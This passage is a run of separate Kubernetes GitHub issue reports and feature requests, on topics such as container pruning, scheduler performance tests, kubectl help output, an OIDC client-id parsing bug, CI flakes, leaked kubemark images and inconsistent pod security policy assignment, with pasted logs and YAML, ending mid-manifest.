currently the k8s pruning logic explicitly considers only certain prefixes:  https://github.com/kubernetes/kubernetes/blob/be8ce6c38578c244ac6ebdb1c402f74e5a282140/pkg/kubelet/dockertools/docker.go l358-l361  this is despite the fact that the pruning logic appears to be intended to handle \ unidentified\  non-k8s?  containers: https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockertools/container_gc.go l158-l161  we'd like to be able to define additional prefixes that would be considered by the pruning logic, but we do not want to use the k8s prefix since the containers are not otherwise managed by k8s.  would it be possible to extend this logic to allow a list of prefixes that should be considered for pruning?  @ncdc @smarterclayton @rhcarvalho

_problem_\r \r in  31795 \r - we found that the list operation in checkserviceaffinity may be a  dominating factor in scheduler cpu usage,  in the schduler @ scale.  \r - _since its using so much cpu_ ideally we would have something simulating this problem in the scheduler_perf tests, so they are more realistic / testing scheduler performance under heterogenous node / affinity conditions. however --  from what i can tell, the cache's  list  is not exersized in the scheduler_perf at all.\r - roughly, if we look at the amount of calls during one of the test runs... addpod is really 80% or so of the calls that are happening, i.e. annotating the calls in schedulercache/cache.go. i see the following: \r \r    \r forgetpod:209 \r addnode:1100 \r addpod:17400 \r updatepod:3881\r    \r - listpod, removepod arent being exersized at all.   note 3/30 : ravi gudimeta has noted that possibly list/remove are being called elsewhere, i.e. in a shared cache .\r \r _solution_\r \r we should add a more complex scheduler job / soaking into the scheduler_perf tests, so that we can measure real world scheduling bottlenecks  i.e. 1000s of nodes which need to be filtered and matched to pods . \r - more real world changes  updates and predicate scheduling events \r - more pod data churning  deletions/updates \r \r this would probably lead to a broader and more real-worldish performance profile, most importantly, it would gaurantee that the demanding aspects of scheduling functionality are exersized. \r \r cc @kubernetes/sig-scheduling \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : none, i read layer source code instead to confirm this was not currently possible\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r there should be a way to mange rbac rules in the kubernetes-master charm in a juju way. i think set of rbac actions might work as a solution.\r \r   anything else we need to know  :\r \r main bug for access control: https://github.com/kubernetes/kubernetes/issues/43572

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r there is no  roles  help in  kubectl get \r \r when i enabled rbac, then i can get all roles, but there is no help info for it.\r \r    \r root@k8s001:~  kubectl get roles --namespace=kube-system\r name                                             age\r extension-apiserver-authentication-reader        5m\r system::leader-locking-kube-controller-manager   5m\r system::leader-locking-kube-scheduler            5m\r system:controller:bootstrap-signer               5m\r system:controller:cloud-provider                 5m\r system:controller:token-cleaner                  5m\r    \r \r   what you expected to happen  :\r  kubectl get  help should include roles.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r root@k8s001:~  kubectl get\r you must specify the type of resource to get. valid resource types include:\r \r       all\r       certificatesigningrequests  aka 'csr' \r       clusterrolebindings\r       clusterroles\r       clusters  valid only for federation apiservers \r       componentstatuses  aka 'cs' \r       configmaps  aka 'cm' \r       controllerrevisions\r       cronjobs\r       daemonsets  aka 'ds' \r       deployments  aka 'deploy' \r       endpoints  aka 'ep' \r       events  aka 'ev' \r       horizontalpodautoscalers  aka 'hpa' \r       ingresses  aka 'ing' \r       jobs\r       limitranges  aka 'limits' \r       namespaces  aka 'ns' \r       networkpolicies  aka 'netpol' \r       nodes  aka 'no' \r       persistentvolumeclaims  aka 'pvc' \r       persistentvolumes  aka 'pv' \r       poddisruptionbudgets  aka 'pdb' \r       podpreset\r       pods  aka 'po' \r       podsecuritypolicies  aka 'psp' \r       podtemplates\r       replicasets  aka 'rs' \r       replicationcontrollers  aka 'rc' \r       resourcequotas  aka 'quota' \r       rolebindings\r       roles\r       secrets\r       serviceaccounts  aka 'sa' \r       services  aka 'svc' \r       statefulsets\r       storageclasses\r       thirdpartyresources\r     error: required resource not specified.\r use \ kubectl explain <resource>\  for a detailed description of that resource  e.g. kubectl explain pods .\r see 'kubectl get -h' for help and examples.\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

>  >  \r   what happened  :\r when using oidc plugin with cilogon, the client-id is causing problems.\r first, i can't add it to the client config file:\r \r  kubectl config set-credentials user1  --auth-provider-arg=client-id=\ myproxy:oa4mp,2012:/client_id/<my_client_id_string>\ \r \r error: error: invalid auth-provider-arg format: 2012:/client_id/<my_client_id_string>\r \r the comma is causing it to fail, and everything works without the comma. i added it later to the config file manually.\r \r later, when trying to automatically refresh the otherwise working fine token, i'm getting the error from cilogon:\r \r    \r error report - apache tomcat/7.0.77\r ------------\r error  : 500\r host   : cilogon.org\r servlet: accesstoken\r url    : /oauth2/token\r \r exception\r ---------\r javax.servlet.servletexception: no client id\r     edu.uiuc.ncsa.myproxy.oa4mp.oauth2.servlet.oa2exceptionhandler.handleexception oa2exceptionhandler.java:74 \r     edu.uiuc.ncsa.security.servlet.abstractservlet.handleexception abstractservlet.java:125 \r     edu.uiuc.ncsa.security.servlet.abstractservlet.dopost abstractservlet.java:161 \r     javax.servlet.http.httpservlet.service httpservlet.java:650 \r     javax.servlet.http.httpservlet.service httpservlet.java:731 \r    \r \r which makes me think it's a problem with comma in the client id string again.\r \r   what you expected to happen  :\r expecting the string to be properly protected and not treated as an array.\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl config set-credentials user1 --auth-provider-arg=client-id=\ a,b\  - fails\r kubectl config set-credentials user1 --auth-provider-arg=client-id=\ ab\  - works fine\r \r refresh token - create the oidc provider with cilogon according to kubernetes docs and try to refresh the token.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-30t09:51:01z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r baremetal\r - os  e.g. from /etc/os-release :  server \r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r

flaky job: pr:pull-kubernetes-bazel-test  flakes in the past week:   28    consistency:   97.00%         flakiest tests by flake count: | test | flake count | | --- | --- | | //cmd/kube-apiserver/app/testing:go_default_test | 4 |    flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

pr  54046     pull-kubernetes-unit   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/54046/pull-kubernetes-unit/59300/  always build failed. \r    \r i1019 09:06:27.379  ok  \tk8s.io/kubernetes/pkg/kubectl/apps\t1.060s\r i1019 09:06:27.379  fail\tk8s.io/kubernetes/pkg/kubectl/cmd  build failed \r ...\r w1019 09:08:26.812  pkg/kubectl/cmd/apply_test.go:564: undefined: \ k8s.io/kubernetes/pkg/api\ .registry\r w1019 09:08:26.812  pkg/kubectl/cmd/apply_test.go:613: undefined: \ k8s.io/kubernetes/pkg/api\ .registry\r

i wrote it, so i am allowed to say this.  it's a nightmare.  i have designs on how to simplify it some at first, and maybe more later.  prs forthcoming.

is this a bug report or feature request?  :\r wanted help\r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r setting up a cluster using  kubeadm , with 1 master can't scheduller  and 2 node:\r  1   pods on node2 becomes  unknown  once node2 becomes  notready ;\r  2  then making node1 becomes  notready  yet, but pods on node1 is still with  running  status, and  kubectl describe  pod in node1, found that  pod's condition:  status = false . \r what' happend in step 2 is strange, i have a question:\r cluster with one node  ready , pod status will not to be updated on node once it's condition become  notreay ?\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r setting up cluster using  kubeadm  with 1 master and 2 nodes, then creating some pod both in node1, node2. following 2 step in  what happened \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.3\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

after looking at @thockin 's  pr  https://github.com/kubernetes/kubernetes/pull/57824 , i realized that there are some problems with how we're using kubemark images for our ci-testing:\r \r 1. every run of every kubemark job creates and pushes a kubemark image to the image registry of the project in which the cluster would be created. but the kubemark cluster setup uses the  <registry>/kubemark:latest  image. this means that a race b/w 2 kubemark jobs while pushing the image is possible, and it may happen that one job is using the image from another one. this can be solved by using a random image tag to uniquify the runs.\r \r 2. every run of every kubemark job pushes a new image to a docker registry. so we have a huge list of leaked kubemark images in the projects where we're running kubemark jobs - e.g o 10^5  images in  one of our projects  https://pantheon.corp.google.com/gcr/images/k8s-jkns-pr-kubemark/global/kubemark?gcrimagelistsize=50  used for kubemark pre-submit. each image is about 72 mb and at the cost of  0.026 $/gb  https://cloud.google.com/container-registry/pricing  for our gcs buckets, it's ~$180/month for that project. another such project is of our kubemark-small job  running once every 20m  which has ~30k stale images. overall, we're likely spending an estimated o 1000  $/month just on stale kubemark images. few things we should do imo:\r   - delete the kubemark image at the end of the run\r   - delete the pre-existing stale kubemark images\r   - in general, make janitor garbage collect images also  cc @krzyzacy @bentheelder  \r \r 3. pr https://github.com/kubernetes/kubernetes/pull/57824 changed the kubemark image registry to  staging-k8s.gcr.io , instead of the earlier  gcr.io . however, the manifest for the kubemark deployment  hasn't been updated  https://github.com/kubernetes/kubernetes/blob/3586986416b174d390376311c909d665416bf5c0/test/kubemark/resources/hollow-node_template.yaml l38  - so all jobs will continue using old kubemark image  albeit the  :latest  one . this needs to be fixed asap.\r \r cc @wojtek-t @porridge @kubernetes/sig-scalability-bugs \r /assign

$ ./kubelet --version kubernetes v1.0.3      the implementation of hashcontainer is sensitive to the  name  of a volume in the  volumemounts  section, and not the actual volume. this means that a change to a volume will not result in containers being restarted.  eg, changing the  hostdir  path from  /tmp/dir  to  /tmp/another-dir  will not result in the kubelet recreating the container for the spec below.      apiversion: v1 kind: pod metadata:   name: pause spec:   containers:   - name: pause     image: gcr.io/google_containers/pause:0.8.0     volumemounts:     - mountpath: /mount-point       name: vol   volumes:   - name: vol     hostdir: /tmp/dir      investigating this arose from discussion on the deployment proposal: https://github.com/kubernetes/kubernetes/pull/12236 discussion_r38608888

used the contrib ansible script to build and deploy kubernetes cluster. most of the stuff seem to be working fine but for some reason the addons deployment does not seem right. i really appreciate any help to resolve this:  ---  any help to resolve this is highly appreciated:       rakeshk@cd3labvdapp002 system $ sudo systemctl status kube-addons ● kube-addons.service - kubernetes addon object manager    loaded: loaded  /etc/systemd/system/kube-addons.service; enabled; vendor preset: disabled     active: active  running  since sat 2016-04-30 15:58:29 edt; 2 days ago      docs: https://github.com/googlecloudplatform/kubernetes  main pid: 13835  kube-addons.sh     memory: 2.6m    cgroup: /system.slice/kube-addons.service            ├─13835 /bin/bash /usr/libexec/kubernetes/kube-addons.sh            ├─30211 /bin/bash /usr/libexec/kubernetes/kube-addons.sh            └─30212 /usr/bin/kubectl get --namespace=kube-system serviceaccount default -o go-template={{with index .secrets 0}}{{.name}}{{end}}  may 03 10:53:30 cd3labvdapp002 kube-addons.sh 13835 : error: output format \ go-template={{with index .secrets 0}}{{.name}}{{end}}\  not recognized may 03 10:53:31 cd3labvdapp002 kube-addons.sh 13835 : error: output format \ go-template={{with index .secrets 0}}{{.name}}{{end}}\  not recognized      the /var/log/messages file is getting filled with these messages:      may  3 11:26:31 cd3labvdapp002 docker: time=\ 2016-05-03t11:26:31.950567927-04:00\  level=info msg=\ get /containers/2323c076f835d83973fe6e4e4061ea1f66e5b929019b054a3e3e736db6131e94/json\  may  3 11:26:31 cd3labvdapp002 docker: time=\ 2016-05-03t11:26:31.951192785-04:00\  level=info msg=\ get /containers/20857b4cb7a15c504209072e34e1b60187c189714f8f693451f60fca458358e7/json\  may  3 11:26:31 cd3labvdapp002 kube-addons.sh: error: output format \ go-template={{with index .secrets 0}}{{.name}}{{end}}\  not recognized may  3 11:26:31 cd3labvdapp002 docker: time=\ 2016-05-03t11:26:31.953462095-04:00\  level=info msg=\ get /containers/json?all=1\  may  3 11:26:31 cd3labvdapp002 docker: time=\ 2016-05-03t11:26:31.954896238-04:00\  level=info msg=\ get /containers/5d05e2d8bb3b58ab40bcfddccb17c0733d1f2dcdb85e76a9c2e0cf0264b6b232/json\  may  3 11:26:31 cd3labvdapp002 docker: time=\ 2016-05-03t11:26:31.955518921-04:00\  level=info msg=\ get /containers/fa55a751b87f083d36052bcb1cd2a83ca92d9e0cf999305da8aceeb0a21c22f5/json\  may  3 11:26:31 cd3labvdapp002 docker: time=\ 2016-05-03t11:26:31.964853603-04:00\  level=info msg=\ get /containers/json?all=1\  may  3 11:26:31 cd3labvdapp002 docker: time=\ 2016-05-03t11:26:31.966352364-04:00\  level=info msg=\ get /containers/ff20685484218d9646a4f66d6586e1db864ac690f96fdcf77518cf5fb5521e34/json\  may  3 11:26:31 cd3labvdapp002 docker: time=\ 2016-05-03t11:26:31.966998933-04:00\  level=info msg=\ get /containers/ec4a6def71b71e3de63f9c170fb77c6559d9f95ab1816552a4392c112de39f6d/json\  may  3 11:26:31 cd3labvdapp002 docker: time=\ 2016-05-03t11:26:31.967657340-04:00\  level=info msg=\ get /containers/f49c3ea9da0267817ae1cbdd4be10801626510671e40f62ee75a1a027be637d9/json\  may  3 11:26:31 cd3labvdapp002 docker: time=\ 2016-05-03t11:26:31.968300228-04:00\  level=info msg=\ get /containers/2323c076f835d83973fe6e4e4061ea1f66e5b929019b054a3e3e736db6131e94/json\  may  3 11:26:31 cd3labvdapp002 docker: time=\ 2016-05-03t11:26:31.968967484-04:00\  level=info msg=\ get /containers/20857b4cb7a15c504209072e34e1b60187c189714f8f693451f60fca458358e7/json\  may  3 11:26:31 cd3labvdapp002 docker: time=\ 2016-05-03t11:26:31.969579195-04:00\  level=info msg=\ get /containers/fa55a751b87f083d36052bcb1cd2a83ca92d9e0cf999305da8aceeb0a21c22f5/json\  may  3 11:26:31 cd3labvdapp002 kubelet: e0503 11:26:31.973373   21002 kubelet.go:1260  failed creating a mirror pod \ fluentd-elasticsearch-cd3labvdapp002_kube-system\ : pod \ fluentd-elasticsearch-cd3labvdapp002\  is forbidden: namespace kube-system does not exist

we should have a better story about audit logging on nodes. this is a fairly broad topic that could include:\r \r - host access  ssh, privileged pods / host volumes / etc, credential changes \r - kubelet api access\r - pod access  exec / attach / portforward \r - what is running on the node  both in & out of pods \r \r i think we should treat application  pod  audit logging as a separate topic, with the possible exception of kernel audit logs  e.g. apparmor violations .\r \r we should have a pluggable way to push or extract the audit logs to a remote location. i'm not sure whether this needs to be a separate system from our current logging pipeline s   e.g. fluentd .\r \r api  non-kubelet  audit logging is a separate issue tracked in https://github.com/kubernetes/features/issues/22\r \r @kubernetes/sig-node-misc @kubernetes/sig-auth-misc

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r delete pod\r delete pod uid\r ---\r \r   is this a bug report or feature request?    choose one :\r maybe a bug report: the \ kubectl delete pod  uid \  doesn't work.\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1+82450d0\ , gitcommit:\ 59619aa9d1b0481460e9de029408b3bac82ca5d4\ , gittreestate:\ dirty\ , builddate:\ 2017-01-10t00:30:53z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1+82450d0\ , gitcommit:\ 59619aa9d1b0481460e9de029408b3bac82ca5d4\ , gittreestate:\ dirty\ , builddate:\ 2017-01-10t00:26:06z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   what happened  :\r first, use \ kubectl get pod  podname  -o yaml\  to get the details of the pod, obtaining the uid under metadata.uid. then use \ kubectl delete pod  uid \  to delete the pod, but failed finally. the info showed like this: error from server  notfound : pods \ 8a2ff4bf-dbf8-11e6-818c-4437e63c5ac5\  not found.\r did i get the wrong uid?\r \r   what you expected to happen  :\r it should delete pod successfully just like using podname.\r \r   how to reproduce it    as minimally and precisely as possible :\r just do like mentioned in \ what happened\ \r \r

i think that most of the change here is due to the meta/v1 split, but we should still sweep and try to get it up to date.

as of 1.6, most workload controllers respect  controllerref  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/controller-ref.md  to avoid interfering with each other. however, kubectl 1.6 still had to support talking to a 1.5 server, so client-side compatibility logic was introduced in  43114 and  43239.\r \r according to the  version skew guidelines  https://github.com/kubernetes/community/blob/854e9518703851ec79e26a47d46a0c70d829fe37/contributors/design-proposals/versioning.md supported-releases-and-component-skew , we no longer need to support talking to 1.5 servers as of the   v1.7   milestone. at that time, the added compatibility functions  ending in  v15   can be removed and replaced with calls to the normal 1.6+ functions  without the suffix .

https://github.com/kubernetes/kubernetes/pull/45115 lays out initial types for  customresources   née tpr .  the api wasn't exposed anywhere  only testable via an aggregated api server , so to make progress to the meat of the customresources implementation, we merged it fairly quickly.\r \r this issue is a spot to talk about what we don't like about the names and what we'd like changed.  pulls are also welcome, but we can discuss it here without all the trouble of writing code.

we could at least validate the name and namespace are structurally valid.

failure cluster  c49044b7fa3094fa3e5a  https://go.k8s.io/triage c49044b7fa3094fa3e5a        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/workload/statefulset.go:902 jul 21 08:13:05.763: failed waiting for pods to enter running: timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/statefulset_utils.go:307           failure cluster statistics: 20 tests failed,    39 jobs failed,    136 builds failed. failure stats cover 1 day time range '28 jul 2017 06:29 utc' to '29 jul 2017 06:29 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io   sig-apps  network partition  disruptive   slow   k8s.io   statefulset  should come back up if node goes down  slow   disruptive  | 15 | |  k8s.io   sig-apps  network partition  disruptive   slow   k8s.io   statefulset  should not reschedule stateful pods if there is a network partition  slow   disruptive  | 15 | |  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should provide basic identity | 5 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-statefulset | 32 |  29 jul 2017 05:42 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-statefulset/8484  | | ci-kubernetes-e2e-gce-statefulset | 31 |  29 jul 2017 05:44 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-statefulset/8559  | | ci-kubernetes-e2e-gce-ubuntudev-k8sdev-serial | 4 |  28 jul 2017 23:15 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-ubuntudev-k8sdev-serial/140  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | brendandburns |  k8s.io   sig-apps  network partition  disruptive   slow   k8s.io   statefulset  should not reschedule stateful pods if there is a network partition  slow   disruptive  | | bprashanth |  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should provide basic identity;  k8s.io  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should provide basic identity | | foxish |  k8s.io   sig-apps  network partition  disruptive   slow   k8s.io   statefulset  should come back up if node goes down  slow   disruptive ;  k8s.io  network partition  disruptive   slow   k8s.io   statefulset  should come back up if node goes down  slow   disruptive  | | sig/cluster-lifecycle |  k8s.io  upgrade  feature:upgrade   sig-cluster-lifecycle  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade  | | sig/network |  k8s.io   sig-apps  network partition  disruptive   slow   k8s.io   statefulset  should come back up if node goes down  slow   disruptive ;  k8s.io   sig-apps  network partition  disruptive   slow   k8s.io   statefulset  should not reschedule stateful pods if there is a network partition  slow   disruptive ;  k8s.io  network partition  disruptive   slow   k8s.io   statefulset  should come back up if node goes down  slow   disruptive  | | sig/apps |  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should provide basic identity;  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should not deadlock when a pod's predecessor fails;  sig-apps  statefulset  k8s.io  deploy clustered applications  feature:statefulset   slow  should creating a working cockroachdb cluster |  </details><br>   current status  https://go.k8s.io/triage c49044b7fa3094fa3e5a

the only server in the cluster which is guaranteed to be able to lookup services and endpoints is the  kube-apiserver .  all other consumers of the  externaladmissionhookconfiguration  api cannot use the service reference as-is.  we should optimize for the normal case and make this a dns name.\r \r the case in  apiservices  is different, since those are  only  terminated by the  kube-apiserver \r \r @kubernetes/sig-api-machinery-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r sometimes pods created from a deployment  or daemonset  does not get the same psp even though the pod template should be identical. i.e. one pod gets \ privileged\  psp while another gets \ restricted\ .\r \r we see this issue across many resources in many different clusters but not in a consistent way.\r \r the problem is seen in at least kubernetes  v1.7.9  and  v1.8.  , but it's only manifesting itself as a real problem for us in  v1.8.   because getting the wrong psp could assign the wrong  allowprivilegeescalation  value in the security context,  triggering this issue: https://github.com/kubernetes/kubernetes/issues/53370\r \r here's an example with a  kube-dns  deployment which has two pods each with a different psp  sorry for the huge dump, i just want to include the exact state of the resources :\r \r deployment resource:\r \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   annotations:\r     deployment.kubernetes.io/revision: \ 11\ \r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ extensions/v1beta1\ ,\ kind\ :\ deployment\ ,\ metadata\ :{\ annotations\ :{},\ labels\ :{\ application\ :\ kube-dns\ ,\ kubernetes.io/cluster-service\ :\ true\ ,\ version\ :\ v1.14.5\ },\ name\ :\ kube-dns\ ,\ namespace\ :\ kube-system\ },\ spec\ :{\ selector\ :{\ matchlabels\ :{\ application\ :\ kube-dns\ }},\ strategy\ :{\ rollingupdate\ :{\ maxsurge\ :\ 10%\ ,\ maxunavailable\ :0}},\ template\ :{\ metadata\ :{\ annotations\ :{\ scheduler.alpha.kubernetes.io/critical-pod\ :\ \ },\ labels\ :{\ application\ :\ kube-dns\ ,\ version\ :\ v1.14.5\ }},\ spec\ :{\ containers\ : {\ args\ : \ --domain=cluster.local.\ ,\ --dns-port=10053\ ,\ --config-dir=/kube-dns-config\ ,\ --v=2\  ,\ env\ : {\ name\ :\ prometheus_port\ ,\ value\ :\ 10055\ } ,\ image\ :\ registry.opensource.zalan.do/teapot/k8s-dns-kube-dns:1.14.5\ ,\ livenessprobe\ :{\ failurethreshold\ :5,\ httpget\ :{\ path\ :\ /healthcheck/kubedns\ ,\ port\ :10054,\ scheme\ :\ http\ },\ initialdelayseconds\ :60,\ successthreshold\ :1,\ timeoutseconds\ :5},\ name\ :\ kubedns\ ,\ ports\ : {\ containerport\ :10053,\ name\ :\ dns-local\ ,\ protocol\ :\ udp\ },{\ containerport\ :10053,\ name\ :\ dns-tcp-local\ ,\ protocol\ :\ tcp\ },{\ containerport\ :10055,\ name\ :\ metrics\ ,\ protocol\ :\ tcp\ } ,\ readinessprobe\ :{\ httpget\ :{\ path\ :\ /readiness\ ,\ port\ :8081,\ scheme\ :\ http\ },\ initialdelayseconds\ :3,\ timeoutseconds\ :5},\ resources\ :{\ limits\ :{\ memory\ :\ 170mi\ },\ requests\ :{\ cpu\ :\ 100m\ ,\ memory\ :\ 70mi\ }},\ volumemounts\ : {\ mountpath\ :\ /kube-dns-config\ ,\ name\ :\ kube-dns-config\ } },{\ args\ : \ -v=2\ ,\ -logtostderr\ ,\ -configdir=/etc/k8s/dns/dnsmasq-nanny\ ,\ -restartdnsmasq=true\ ,\ --\ ,\ -k\ ,\ --cache-size=1000\ ,\ --log-facility=-\ ,\ --server=/cluster.local/127.0.0.1 10053\ ,\ --server=/in-addr.arpa/127.0.0.1 10053\ ,\ --server=/ip6.arpa/127.0.0.1 10053\  ,\ image\ :\ registry.opensource.zalan.do/teapot/k8s-dns-dnsmasq-nanny:1.14.5\ ,\ livenessprobe\ :{\ failurethreshold\ :5,\ httpget\ :{\ path\ :\ /healthcheck/dnsmasq\ ,\ port\ :10054,\ scheme\ :\ http\ },\ initialdelayseconds\ :60,\ successthreshold\ :1,\ timeoutseconds\ :5},\ name\ :\ dnsmasq\ ,\ ports\ : {\ containerport\ :53,\ name\ :\ dns\ ,\ protocol\ :\ udp\ },{\ containerport\ :53,\ name\ :\ dns-tcp\ ,\ protocol\ :\ tcp\ } ,\ resources\ :{\ requests\ :{\ cpu\ :\ 150m\ ,\ memory\ :\ 20mi\ }},\ volumemounts\ : {\ mountpath\ :\ /etc/k8s/dns/dnsmasq-nanny\ ,\ name\ :\ kube-dns-config\ } },{\ args\ : \ --v=2\ ,\ --logtostderr\ ,\ --probe=kubedns,127.0.0.1:10053,kubernetes.default.svc.cluster.local,5,a\ ,\ --probe=dnsmasq,127.0.0.1:53,kubernetes.default.svc.cluster.local,5,a\  ,\ image\ :\ registry.opensource.zalan.do/teapot/k8s-dns-sidecar:1.14.5\ ,\ livenessprobe\ :{\ failurethreshold\ :5,\ httpget\ :{\ path\ :\ /metrics\ ,\ port\ :10054,\ scheme\ :\ http\ },\ initialdelayseconds\ :60,\ successthreshold\ :1,\ timeoutseconds\ :5},\ name\ :\ sidecar\ ,\ ports\ : {\ containerport\ :10054,\ name\ :\ metrics\ ,\ protocol\ :\ tcp\ } ,\ resources\ :{\ requests\ :{\ cpu\ :\ 10m\ ,\ memory\ :\ 20mi\ }}} ,\ dnspolicy\ :\ default\ ,\ serviceaccountname\ :\ system\ ,\ tolerations\ : {\ key\ :\ criticaladdonsonly\ ,\ operator\ :\ exists\ } ,\ volumes\ : {\ configmap\ :{\ name\ :\ kube-dns\ ,\ optional\ :true},\ name\ :\ kube-dns-config\ } }}}}\r   creationtimestamp: 2017-02-03t12:56:22z\r   generation: 17\r   labels:\r     application: kube-dns\r     kubernetes.io/cluster-service: \ true\ \r     version: v1.14.5\r   name: kube-dns\r   namespace: kube-system\r   resourceversion: \ 322941113\ \r   selflink: /apis/extensions/v1beta1/namespaces/kube-system/deployments/kube-dns\r   uid: 29b4ee2d-ea10-11e6-9566-024748e356f5\r spec:\r   replicas: 2\r   selector:\r     matchlabels:\r       application: kube-dns\r   strategy:\r     rollingupdate:\r       maxsurge: 10%\r       maxunavailable: 0\r     type: rollingupdate\r   template:\r     metadata:\r       annotations:\r         scheduler.alpha.kubernetes.io/critical-pod: \ \ \r       creationtimestamp: null\r       labels:\r         application: kube-dns\r         version: v1.14.5\r     spec:\r       containers:\r       - args:\r         - -v=2\r         - -logtostderr\r         - -configdir=/etc/k8s/dns/dnsmasq-nanny\r         - -restartdnsmasq=true\r         - --\r         - -k\r         - --cache-size=1000\r         - --log-facility=-\r         - --server=/cluster.local/127.0.0.1 10053\r         - --server=/in-addr.arpa/127.0.0.1 10053\r         - --server=/ip6.arpa/127.0.0.1 10053\r         image: registry.opensource.zalan.do/teapot/k8s-dns-dnsmasq-nanny:1.14.5\r         imagepullpolicy: ifnotpresent\r         livenessprobe:\r           failurethreshold: 5\r           httpget:\r             path: /healthcheck/dnsmasq\r             port: 10054\r             scheme: http\r           initialdelayseconds: 60\r           periodseconds: 10\r           successthreshold: 1\r           timeoutseconds: 5\r         name: dnsmasq\r         ports:\r         - containerport: 53\r           name: dns\r           protocol: udp\r         - containerport: 53\r           name: dns-tcp\r           protocol: tcp\r         resources:\r           requests:\r             cpu: 150m\r             memory: 20mi\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /etc/k8s/dns/dnsmasq-nanny\r           name: kube-dns-config\r       - args:\r         - --domain=cluster.local.\r         - --dns-port=10053\r         - --config-dir=/kube-dns-config\r         - --v=2\r         env:\r         - name: prometheus_port\r           value: \ 10055\ \r         image: registry.opensource.zalan.do/teapot/k8s-dns-kube-dns:1.14.5\r         imagepullpolicy: ifnotpresent\r         livenessprobe:\r           failurethreshold: 5\r           httpget:\r             path: /healthcheck/kubedns\r             port: 10054\r             scheme: http\r           initialdelayseconds: 60\r           periodseconds: 10\r           successthreshold: 1\r           timeoutseconds: 5\r         name: kubedns\r         ports:\r         - containerport: 10053\r           name: dns-local\r           protocol: udp\r         - containerport: 10053\r           name: dns-tcp-local\r           protocol: tcp\r         - containerport: 10055\r           name: metrics\r           protocol: tcp\r         readinessprobe:\r           failurethreshold: 